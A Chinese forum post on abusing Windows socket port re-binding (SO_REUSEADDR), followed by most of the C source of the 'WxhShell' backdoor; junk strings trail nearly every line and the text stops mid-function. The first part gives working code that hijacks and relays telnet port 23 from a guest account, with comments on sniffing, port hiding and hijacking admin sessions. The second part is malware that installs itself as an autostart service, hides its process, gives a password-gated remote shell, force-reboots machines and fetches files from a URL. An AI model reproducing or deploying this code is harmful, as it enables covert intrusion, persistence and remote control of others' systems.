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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w 6+X{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ytmt+9  
o/@.*Rj>Bg  
  saddr.sin_family = AF_INET; 'b]GcAL  
'*MNRduE6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  ]hpocr  
3kx/Q#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i=OPl  
|!euty ::  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6AKH0t|4  
u3(zixb  
  这意味着什么?意味着可以进行如下的攻击: Q@6OIE  
G4{ zt3{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PCF!Y(l  
B4bC6$Lg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *>h"}e41  
p 2It/O  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <]eWr:;  
;f#%0W{":  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @Iia>G @Rz  
~cbq5||  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 FU kO$jnO  
OE]z C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NVU@m+m~  
1q]V/V}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5, R\tJCK  
e7T"?s  
  #include cq>{  
  #include P95U{   
  #include 2>Hl=bX  
  #include    =hxj B*")  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;XNe:g.CR  
  int main() +[:"$?J  
  { Qz2Y w `  
  WORD wVersionRequested; !4\`g?  
  DWORD ret; 4G"T{A`O  
  WSADATA wsaData; oXRmnt  
  BOOL val; X|^E+ `M4  
  SOCKADDR_IN saddr; ,+-l1GpL  
  SOCKADDR_IN scaddr; 8u Tq0d6(  
  int err; X1?7}VO  
  SOCKET s; =kH7   
  SOCKET sc; DygMavA.  
  int caddsize; Q*&>Ui[&  
  HANDLE mt; s%z\szd*  
  DWORD tid;   A&*lb7X  
  wVersionRequested = MAKEWORD( 2, 2 ); ()e.J  
  err = WSAStartup( wVersionRequested, &wsaData ); +dq&9N/  
  if ( err != 0 ) { ];i-d7C  
  printf("error!WSAStartup failed!\n"); ) (unL`y  
  return -1; fDt#<f 4;  
  } 6My=GByC  
  saddr.sin_family = AF_INET; xy)Y)yp  
   u&yAMWl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pp@Jndlg  
nAPSs]D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wi^zXcVj  
  saddr.sin_port = htons(23); eQ`TW'[9_6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0O<g) %Vz>  
  { xpCzx=n3.m  
  printf("error!socket failed!\n"); +EjH9;gx  
  return -1; =cI -<0QSn  
  } 0h/gqlTK1  
  val = TRUE; T;K@3]FbX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E/2kX3}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O32p8AxEz  
  { 'Vq <;.A  
  printf("error!setsockopt failed!\n"); Dg3S n|!f  
  return -1; RAYDl=}  
  } f1w&D ]|S+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rOQ@(aUAZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &6<>hqR^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1)yEx1  
4XpW#>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BOClMeA4  
  { dZcRLLR  
  ret=GetLastError(); RnC96"";R.  
  printf("error!bind failed!\n"); s ;EwAd(  
  return -1; .l5y+a'  
  } 8*z)aB&f3  
  listen(s,2); 'X_8j` ]#  
  while(1) qPqpRi  
  { n6 D9f~8"  
  caddsize = sizeof(scaddr); {U@&hE -  
  //接受连接请求 cdiDfiE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l)tK/1 W  
  if(sc!=INVALID_SOCKET) !iUFD*~r~  
  { E0; }e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Br^4N9  
  if(mt==NULL) tS#=I.ET  
  { &XAG| #  
  printf("Thread Creat Failed!\n"); QY2/mtI  
  break; "#,]` ME;  
  } YHBH9E/B  
  } ~2u~}v5m7  
  CloseHandle(mt); 1AMxZ (e  
  } 9RA~#S|(T  
  closesocket(s); C".nB12  
  WSACleanup(); hM$K?t  
  return 0; `/?XvF\  
  }   +g/TDwyVH  
  DWORD WINAPI ClientThread(LPVOID lpParam) JL gk?  
  { *+|D8xp  
  SOCKET ss = (SOCKET)lpParam; mU0j K@^&M  
  SOCKET sc; qQK0s*^W  
  unsigned char buf[4096]; _2uRY  
  SOCKADDR_IN saddr; &j=Fx F9o  
  long num; n7-|\p!xP6  
  DWORD val; z H$^.1  
  DWORD ret; ) H=}bqn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8T"C]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~nYp*t C'  
  saddr.sin_family = AF_INET; `w/:o$&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fLkZ'~e!  
  saddr.sin_port = htons(23); N zrHWVD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LpRl!\FY$  
  { #9{N[t  
  printf("error!socket failed!\n"); NqyKR&;  
  return -1; CB V(H$d  
  } Su" 9`  
  val = 100; R>Q&Ax  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A"|y<  
  {  l Ozi|  
  ret = GetLastError(); zgre&BV0q  
  return -1; obA}SF  
  } Cka&b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .*N]SbU<8  
  { t!}QG"ma  
  ret = GetLastError(); #?=?<"*j  
  return -1; ((KNOa5  
  } <zd_-Ysn  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) abog\0  
  { %#5\^4$z|N  
  printf("error!socket connect failed!\n"); Dsq_}6l{  
  closesocket(sc); D*7JE  
  closesocket(ss); Y)~Y;;/G  
  return -1; Y:o\qr!Y  
  } 6<aZr\Ufg  
  while(1) aqL#g18  
  { 3JhT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f@JMDJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ( X(61[Lu  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5:S=gARz  
  num = recv(ss,buf,4096,0); q{4W@Um-  
  if(num>0) BY*{j&^  
  send(sc,buf,num,0); $y%X#:eLJ  
  else if(num==0) }5_[t9LX  
  break; t2bv nh  
  num = recv(sc,buf,4096,0); d_t>  
  if(num>0) n*(9:y=l1  
  send(ss,buf,num,0); ~nQ=iB  
  else if(num==0) K<k!sh   
  break; dyH<D5  
  } ~H<oqk:O-  
  closesocket(ss); qW~Z#Si  
  closesocket(sc); >WYiOXYv  
  return 0 ; 6t zUp/O  
  } 8bf_W3  
qDSZ:36  
ENx1)]  
========================================================== C8^h`B9z&I  
#6g9@tE  
下边附上一个代码,,WXhSHELL >z{*>i,m1  
MH wjJ  
========================================================== 4o/}KUu(*  
g5",jTn#  
#include "stdafx.h" Z<_"Tk;!',  
,K/l;M5I  
#include <stdio.h> j 3/ I =  
#include <string.h> hk5[ N=  
#include <windows.h> pJg'$iR!/  
#include <winsock2.h> =1|^) 4M,x  
#include <winsvc.h> V(gmC%6%l*  
#include <urlmon.h> qu8!fFQjYL  
Q:L^DZkGV  
#pragma comment (lib, "Ws2_32.lib") 9F~e^v]zp  
#pragma comment (lib, "urlmon.lib") 0iKSUw ps  
"+0Yhr?  
#define MAX_USER   100 // 最大客户端连接数 2OA0rH"v  
#define BUF_SOCK   200 // sock buffer cWp5' e]A  
#define KEY_BUFF   255 // 输入 buffer W;Pdbf"  
3VI[*b  
#define REBOOT     0   // 重启 S['rfD>9  
#define SHUTDOWN   1   // 关机 B|\JGnNQ  
m8jQ~OS  
#define DEF_PORT   5000 // 监听端口 ]VKM3[   
tfKf*Um  
#define REG_LEN     16   // 注册表键长度 LqYP0%7  
#define SVC_LEN     80   // NT服务名长度 wOMrUWB0  
Tasmbo^mAF  
// 从dll定义API 95XQ?%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w}20l F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h+\+9^l6|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (7X|W<xT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l+ ,p=  
Ux/|D_rlf  
// wxhshell配置信息 lmGVSdo   
struct WSCFG { hSN{jl{L`  
  int ws_port;         // 监听端口 5SB!)F]   
  char ws_passstr[REG_LEN]; // 口令 R^p'gQc$   
  int ws_autoins;       // 安装标记, 1=yes 0=no \X*Es.;|x  
  char ws_regname[REG_LEN]; // 注册表键名 p&s~O,Bw$  
  char ws_svcname[REG_LEN]; // 服务名 TmS-w  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4Eri]O Ri  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^ gMkQYo(#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WX-J4ieL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f]_{4Olk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =%)Y, )"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =~DQX\  
]\JLlQ}#H  
}; hR4\:s+[  
gR\z#Sg  
// default Wxhshell configuration aAbK{=/y_!  
struct WSCFG wscfg={DEF_PORT, &g.do?  
    "xuhuanlingzhe", 8mm]>u$  
    1, =K \xE"  
    "Wxhshell", Yy 8? X9r.  
    "Wxhshell", n%S%a >IQj  
            "WxhShell Service", >fq]c  
    "Wrsky Windows CmdShell Service", sQ}E4Iq1#S  
    "Please Input Your Password: ", ; _K3/:  
  1, XfYbWR  
  "http://www.wrsky.com/wxhshell.exe", MwuRxeRO-  
  "Wxhshell.exe" WR.>?IG2E  
    }; >iV2>o_  
+QW| 8b  
// 消息定义模块 '=WPi_Z5:C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FUO9jX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w-j^jU><3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L-9 AJk>V  
char *msg_ws_ext="\n\rExit."; c%+_~iBUN  
char *msg_ws_end="\n\rQuit."; o#Viz:  
char *msg_ws_boot="\n\rReboot..."; u]z87#4  
char *msg_ws_poff="\n\rShutdown..."; PY@BgL=/  
char *msg_ws_down="\n\rSave to "; 8}?w i[T  
2JhE`EVH  
char *msg_ws_err="\n\rErr!"; /prR;'ks  
char *msg_ws_ok="\n\rOK!"; w7%.EA{N  
1RgERj  
char ExeFile[MAX_PATH]; jhJ'fI  
int nUser = 0; FX  %(<M  
HANDLE handles[MAX_USER]; v;sWI"Fv!  
int OsIsNt; |muZv!,E  
vf@toYc[E  
SERVICE_STATUS       serviceStatus; iAr]Ed"9|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3 ,f3^A  
xxQgX~'x  
// 函数声明 V<i_YLYmJe  
int Install(void); <~Oy3#{  
int Uninstall(void); AX]cM)w  
int DownloadFile(char *sURL, SOCKET wsh); OQJ#>*?  
int Boot(int flag); 6QYHPz  
void HideProc(void); ujf]@L?  
int GetOsVer(void); 8Q(A1U  
int Wxhshell(SOCKET wsl); :\]qB&  
void TalkWithClient(void *cs); u_=^Bd   
int CmdShell(SOCKET sock); _u9bZ'  
int StartFromService(void); }rQ0*h  
int StartWxhshell(LPSTR lpCmdLine); JKF/z@Vbe\  
"!9FJ Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U1)!X@F{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =&"a:l  
,ll<0Atg  
// 数据结构和表定义 @b9qBJfQ  
SERVICE_TABLE_ENTRY DispatchTable[] = 7NMy1'-q  
{ }3/|;0j$  
{wscfg.ws_svcname, NTServiceMain}, 6n:oEXM>  
{NULL, NULL} ILIv43QKM(  
}; A D%9;KQ8  
v hGX&   
// 自我安装 xqpq|U  
int Install(void) z^o7&\:  
{ tPb<*{eG  
  char svExeFile[MAX_PATH]; %w;wQ_  
  HKEY key; j%)@f0Ng  
  strcpy(svExeFile,ExeFile); yTR5*{?j  
jfU$qo!gi  
// 如果是win9x系统,修改注册表设为自启动 717OzrF}A?  
if(!OsIsNt) { }1mkX\wWP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .^wBv 'Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); = G>Y9Sc  
  RegCloseKey(key); +,zV [\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tRbZX{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d-jZ5nl(  
  RegCloseKey(key); AbL(F#{  
  return 0; @ek8t2??x  
    } +O4//FC-"  
  } zmhAeblA  
} w$0*5n>)  
else { re fAgS!=q  
juA}7   
// 如果是NT以上系统,安装为系统服务 ]$!7;P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cp&1yB   
if (schSCManager!=0) ge]Z5E(1  
{ tP89gN^PA|  
  SC_HANDLE schService = CreateService }\QXPU{UVd  
  ( -U{!'e8YiN  
  schSCManager, ETm:KbS  
  wscfg.ws_svcname, ~g}blv0q+B  
  wscfg.ws_svcdisp, lXRB"z  
  SERVICE_ALL_ACCESS, MM*9Q`cB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E <N%  
  SERVICE_AUTO_START, T>irW(  
  SERVICE_ERROR_NORMAL, cv_t2m  
  svExeFile, : cPV08i  
  NULL, fS3%  
  NULL, XCT3:db  
  NULL, %3yrX>Js  
  NULL, ~xJ ^YkyH  
  NULL `o0ISJeKp  
  ); 3uL$+F  
  if (schService!=0) 5& _R+g  
  { "iJAM`Hi  
  CloseServiceHandle(schService); 5O~;^0iC  
  CloseServiceHandle(schSCManager); k)zBw(wr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TVVu_ib  
  strcat(svExeFile,wscfg.ws_svcname); j:$Z-s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  USJ4Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8l<~zIoO  
  RegCloseKey(key); ;?Q0mXr  
  return 0; f\z9?Z(~  
    } F(`Q62o@  
  } 65GC7 >[  
  CloseServiceHandle(schSCManager); G+t zp&G@  
} SduUXHk  
} f\;f&GI  
m4^VlE,`Dh  
return 1; 4{h^O@*g  
} |M EJ)LE7  
Jw^h<z/Ux  
// 自我卸载 |!J_3*6$>*  
int Uninstall(void) 4'.] -u  
{ -|P7e  
  HKEY key; ;\]DZV4?)r  
[6?x 6_M  
if(!OsIsNt) { EcPvE=^c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +&* >FeJY  
  RegDeleteValue(key,wscfg.ws_regname); a YY1*^  
  RegCloseKey(key); u4xJ-Vu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lUiO|  
  RegDeleteValue(key,wscfg.ws_regname); `FK qVd  
  RegCloseKey(key); eGUe#(I /  
  return 0; 'cY @Dqg1  
  } 9y*(SDF  
} +A%zFF3  
} *7qa]i^]  
else { 3*R(&O6}  
n65fT+;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JEfhr  
if (schSCManager!=0) _+gpdQq\p  
{ ZJQkZ_9@2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); crJNTEz  
  if (schService!=0) :(I=z6  
  { NJKk\RM@7  
  if(DeleteService(schService)!=0) { akQb%Wq  
  CloseServiceHandle(schService); V3_qqz}`r  
  CloseServiceHandle(schSCManager); oTA'=<W?D  
  return 0; lEpPi@2PK  
  } 17 VNw/Y  
  CloseServiceHandle(schService); 0.#% KfQ  
  } z u1gP/  
  CloseServiceHandle(schSCManager); !9^GkFR6n  
} +EZr@  
} we?t/YB=  
QzYaxNGv  
return 1; ">s0B5F7  
} kEg~yN  
:0Fwaw9PH"  
// 从指定url下载文件 lb]k"L%KU7  
int DownloadFile(char *sURL, SOCKET wsh) Lya?b  
{ Kt_HJ!  
  HRESULT hr; [ <Q{  
char seps[]= "/"; V.[b${  
char *token; _K~?{".  
char *file; $'lJ_ jL  
char myURL[MAX_PATH]; 5a* Awv}  
char myFILE[MAX_PATH]; .\)p3pC)  
3iiOxg?j  
strcpy(myURL,sURL); hflDVGBW  
  token=strtok(myURL,seps); +7K]5p;!~  
  while(token!=NULL) l_x>.'a  
  { h#8 {fr)6  
    file=token; s'@@q  
  token=strtok(NULL,seps); 7p18;Z+6>X  
  } *kDV ^RBfq  
Q1 vse  
GetCurrentDirectory(MAX_PATH,myFILE); 6:\z8fYD  
strcat(myFILE, "\\"); +Jc-9Ko\c;  
strcat(myFILE, file); '`p0T%w  
  send(wsh,myFILE,strlen(myFILE),0); vaZ?>94  
send(wsh,"...",3,0); BimM)4g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a[gN+DX%L  
  if(hr==S_OK) |nO }YU\E  
return 0; ? oGmGKq  
else EtB56FU\  
return 1; fVBRP[,   
^[zF IO  
} P q( )2B  
S[uHPYhlA  
// 系统电源模块 m$$98N  
int Boot(int flag) ix}*whW=U  
{ !Jo.Un7  
  HANDLE hToken; *Xd_=@L&B  
  TOKEN_PRIVILEGES tkp; O0"&wvR+5  
i)e)FhEY6  
  if(OsIsNt) { O11.wLNH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v aaZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PiIILX{DuH  
    tkp.PrivilegeCount = 1; 0M>%1 *  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lc0ZfC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dnTXx*I:  
if(flag==REBOOT) { !!t@ H\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  ]cI(||x  
  return 0; ]%%cc  
} k<S!|  
else { k4nA+k<WI`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #kGxX@0  
  return 0; 8%9OB5?F6  
} %K]nX#.B&  
  } 0b}lwo,|\  
  else { %u|qAF2uS  
if(flag==REBOOT) { ~LzTqMHM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >:P3j<xTv  
  return 0; *'(dcy9  
} x9CI>l  
else { UJF }Ye  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Web8"8eD  
  return 0; !PrO~  
} N:/$N@"Ge  
} **O4"+Xi8  
H\!u5o&}`  
return 1; cjO,#W0&f  
} [G|2m_  
IN]bAd8"  
// win9x进程隐藏模块 4B}w;d@R  
void HideProc(void) ,@ Cru=  
{ $RSVN?  
rQ$A|GJL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cWM|COXL+  
  if ( hKernel != NULL ) I@q>ES!1H  
  {  g^E n6n)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aa1XY&G"!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;7<a0HZ5!  
    FreeLibrary(hKernel); j|(bDa4\  
  } @w:sNXz-  
;h3*MR  
return; &f qmO>M  
} bvR*sT#rg  
$Y0bjS2J  
// 获取操作系统版本 M+^K,  
int GetOsVer(void) 7"JU)@ U]  
{ U>x2'B v  
  OSVERSIONINFO winfo; .]H]H*wC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hOMFDfhU  
  GetVersionEx(&winfo); o-Idr{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z?"5= "D  
  return 1; JT^E `<nn  
  else c)E[K-u  
  return 0; I}v'n{5(  
} )3B5"b,  
rb\Ohv\  
// 客户端句柄模块 mLY*  
int Wxhshell(SOCKET wsl) A1ebXXD )  
{ W@$p'IBwm  
  SOCKET wsh; (\/HGxv  
  struct sockaddr_in client; v|,Hd  
  DWORD myID; v V^GIWK  
c[y=K)<Z  
  while(nUser<MAX_USER) FVQWz[N  
{ %#QFu/l  
  int nSize=sizeof(client); X)f"`$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |f?C*t',  
  if(wsh==INVALID_SOCKET) return 1; *u{.K:.I  
1v\-jM"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M*S5&xpX  
if(handles[nUser]==0) fF[g%?w  
  closesocket(wsh); rw\4KI@ L  
else H@j^,  
  nUser++; b);}x1L.T  
  } QT&{M #Ydn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #=.h:_9  
-X}R(.}x  
  return 0; ,m b3H  
} "^D6%I#T  
.RWBn~b#I  
// 关闭 socket tl^[MLQa  
void CloseIt(SOCKET wsh) &s<  
{ [sk"2  
closesocket(wsh); _gGy(`  
nUser--; ? sewU9*  
ExitThread(0); L2h+[f  
} 6Rf5  
oV!9B-<  
// 客户端请求句柄 5~"=Fm<uD  
void TalkWithClient(void *cs)  zm.2L  
{ 86I*  
3z#;0n}  
  SOCKET wsh=(SOCKET)cs; u ?Xku8 1l  
  char pwd[SVC_LEN]; zn~m;0Xi  
  char cmd[KEY_BUFF]; v1lj/A  
char chr[1]; P%lLKSA  
int i,j; T?ZMmUE  
6e*b;{d  
  while (nUser < MAX_USER) { /(0d{  
E37@BfpO3  
if(wscfg.ws_passstr) { &L?Dogo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &sRJ'oc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5nn*)vK {  
  //ZeroMemory(pwd,KEY_BUFF); Bm7GU`j"  
      i=0; -?'CUm*Od  
  while(i<SVC_LEN) { "}EbA3  
f\^QV  
  // 设置超时 E{ ,O}  
  fd_set FdRead; k1H0hDE  
  struct timeval TimeOut; C/Z"W@7#;  
  FD_ZERO(&FdRead); TatyD**(  
  FD_SET(wsh,&FdRead); }00e@a  
  TimeOut.tv_sec=8; a wK'XFk  
  TimeOut.tv_usec=0; ~Iu09t|a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D/Wuan?yPN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z,7^dlT  
o%5bg(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \nyFN  
  pwd=chr[0]; bcs!4  
  if(chr[0]==0xd || chr[0]==0xa) { ~z}au"k  
  pwd=0; i=a LC*@  
  break; @6!JW(,]\  
  } `+o.w#cl  
  i++; YC_^jRB8n  
    } Dn3~8  
:qp"Ao{M  
  // 如果是非法用户,关闭 socket 8( D}y\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z&0V21"l  
} I@ k8^  
bH{aI:9Fb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #c>MUC(?s:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q': wSu u  
*La =7y:  
while(1) { J4g;~#_19  
v1=X=H  
  ZeroMemory(cmd,KEY_BUFF); 9%qMZP0]  
0mh8.  
      // 自动支持客户端 telnet标准   | dwxea  
  j=0; @;}H<&"  
  while(j<KEY_BUFF) { <yPHdbF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ^gyp- !  
  cmd[j]=chr[0]; vWH>k+9&X  
  if(chr[0]==0xa || chr[0]==0xd) { u&xK>7  
  cmd[j]=0; b2e  a0  
  break; B,833Azi  
  } q4iD59yd)S  
  j++; bl?%:qb.V  
    } k#JG  
~,68S^nP)H  
  // 下载文件 P{!:pxu[  
  if(strstr(cmd,"http://")) { R TUNha^<T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +[ /r^C  
  if(DownloadFile(cmd,wsh)) N-9gfG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q; /F0JDH  
  else ^u!Tyb8Dk  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E$Pjp oQTf  
  } b6vYM_ Q  
  else { aX)./  
d$rUxqB.  
    switch(cmd[0]) { vGwD~R  
  az;jMnPpR5  
  // 帮助 &vX!7 Y  
  case '?': { (iOCzZ6S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uyt-q|83=  
    break; (mIJI,[xn  
  } hO.G'q$V  
  // 安装 Jx$#GUl#j  
  case 'i': { kdh9ftm*\  
    if(Install()) RIEv*2_O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L?27q  
    else Au} ;z6k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Rep6=K*$  
    break; #7-@k-<|  
    } E97+GJ3  
  // 卸载 =l4\4td9p  
  case 'r': { ]p&<nK,  
    if(Uninstall()) C<t'f(4s`u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p?$G>nkdq  
    else Tj21YK.mk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /rxltF3  
    break; .k,Jt+  
    } Cz@FZb8  
  // 显示 wxhshell 所在路径 OZ'.}((?n  
  case 'p': { +lgF/y6  
    char svExeFile[MAX_PATH]; ?QSx8d  
    strcpy(svExeFile,"\n\r"); =Xy`"i{`(  
      strcat(svExeFile,ExeFile); dH2]ZE0V  
        send(wsh,svExeFile,strlen(svExeFile),0); |@ZqwC=  
    break; sh(kRrdY3  
    } 5Z6-R}uXk  
  // 重启 C8qTz".5$  
  case 'b': { hK39_A-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HKiVEg  
    if(Boot(REBOOT)) |3, yq^2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yMbcFDlBr  
    else { }or2 $\>m  
    closesocket(wsh); m c\ C  
    ExitThread(0); Z?(4%U5z  
    } 7^I$%o1g  
    break; <,@H;|mZ  
    } R] Disljq  
  // 关机 j!S1Y0CV  
  case 'd': { nR o=J5tY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kQwm"Z  
